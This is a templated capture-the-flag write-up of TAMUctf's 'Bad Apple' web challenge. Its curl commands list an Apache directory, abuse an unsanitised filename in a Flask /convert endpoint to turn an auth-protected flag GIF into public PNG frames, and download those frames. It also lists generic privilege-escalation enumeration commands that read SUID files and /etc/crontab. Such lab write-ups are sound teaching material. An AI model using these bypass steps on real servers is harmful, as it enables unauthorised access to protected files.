Bad Apple
Bad Apple
Platform: Tamuctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-21 | Status: Solved Techniques: auth_bypass_via_format_conversion, directory_listing_exploitation, input_sanitization_bypass, visual_flag_extraction
Summary
A Flask web app that converts uploaded videos/GIFs to frames using ffmpeg, with Apache serving files. The challenge name "Bad Apple" is a famous Touhou reference. The goal is to retrieve a flag hidden in a GIF file that is protected by HTTP Basic Auth.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
tamuctf| ID:20260321_tamuctf_bad_apple - Tags: flask, path_traversal, file_upload, apache, idor, directory_listing, auth_bypass, ffmpeg, gif_to_frames
- Indicators: Options +Indexes in Apache config, FilesMatch with AuthType Basic, secure_filename() on some but not all parameters, ffmpeg frame extraction, different auth rules for different file extensions
- Source:
20260321_tamuctf_bad_apple.md
Foothold
Vulnerability / Misconfiguration
- Auth_bypass_via_format_conversion
- Directory_listing_exploitation
- Input_sanitization_bypass
- Visual_flag_extraction
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- auth_bypass_via_format_conversion
- directory_listing_exploitation
- input_sanitization_bypass
- visual_flag_extraction
- Tags: flask, path_traversal, file_upload, apache, idor, directory_listing, auth_bypass, ffmpeg, gif_to_frames
Original Writeup
<details><summary>Click to expand original content</summary>Description
funny touhou reference
A Flask web app that converts uploaded videos/GIFs to frames using ffmpeg, with Apache serving files. The challenge name "Bad Apple" is a famous Touhou reference. The goal is to retrieve a flag hidden in a GIF file that is protected by HTTP Basic Auth.
Analysis
Architecture
- Flask app (
wsgi_app.py): Handles file upload, conversion to frames via ffmpeg, and frame listing - Apache: Serves static files with directory indexing enabled on
/browse - Auth:
.giffiles require HTTP Basic Auth, but.pngfiles do not
Key Files from Dockerfile
CMD ["sh", "-c", "HEX=$(openssl rand -hex 16) && mv /srv/http/uploads/admin/flag.gif /srv/http/uploads/admin/$HEX-flag.gif && echo $HEX > /srv/http/.flag_secret && httpd -DFOREGROUND"]
- Flag GIF is renamed with random 16-byte hex prefix on startup
- Original location:
/srv/http/uploads/admin/flag.gif→/srv/http/uploads/admin/$HEX-flag.gif
Apache Configuration (httpd-append.conf)
Alias /browse /srv/http/uploads
<Directory /srv/http/uploads>
Options +Indexes
...
<FilesMatch "\.gif$">
AuthType Basic
AuthName "Admin Area"
AuthUserFile /srv/http/.htpasswd
Require valid-user
</FilesMatch>
</Directory>
- Directory listing enabled (
Options +Indexes) — can enumerate files - Only
.giffiles require auth —.pngframes are unprotected
Vulnerability in /convert Endpoint
@app.route('/convert')
def convert():
user_id = request.args.get('user_id', 'anonymous')
filename = request.args.get('filename', '')
input_path = os.path.join(app.config['UPLOAD_FOLDER'], secure_filename(user_id), filename)
# ...
output_dir = os.path.join(FRAMES_BASE, user_id, safe_name)
Critical flaw: user_id is sanitized with secure_filename(), but filename is used RAW. This allows:
- Setting
user_id=admin(passes throughsecure_filename()unchanged) - Referencing any file in the admin directory directly
- Output frames go to
/srv/http/static/frames/admin/— served as PNG with NO auth
Solution
Step 1: Discover Flag Filename via Directory Listing
curl https://bad-apple.tamuctf.com/browse/admin/
Response shows: c1ece5e67d2d5366ab40d069fb2fd0ea-flag.gif
Direct download is blocked by HTTP Basic Auth.
Step 2: Convert Protected GIF to Unprotected PNG Frames
curl "https://bad-apple.tamuctf.com/convert?user_id=admin&filename=c1ece5e67d2d5366ab40d069fb2fd0ea-flag.gif"
This triggers ffmpeg to:
- Read the auth-protected GIF (server-side, no auth needed)
- Extract frames to
/srv/http/static/frames/admin/c1ece5e67d2d5366ab40d069fb2fd0ea-flag/ - Frames are served as PNG files — no auth required!
Step 3: Retrieve Extracted Frames
curl "https://bad-apple.tamuctf.com/get_frames?user_id=admin&gif_name=c1ece5e67d2d5366ab40d069fb2fd0ea-flag"
Returns list of 155 PNG frames. Download and view them:
for i in $(seq -w 1 155); do
curl -O "https://bad-apple.tamuctf.com/static/frames/admin/c1ece5e67d2d5366ab40d069fb2fd0ea-flag/frame_00${i}.png"
done
Step 4: Read Flag from Frames
The GIF contains scrolling text. Reading across the frames reveals the flag.
Leet speak decode: "easy tohou flag rite"
</details>Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR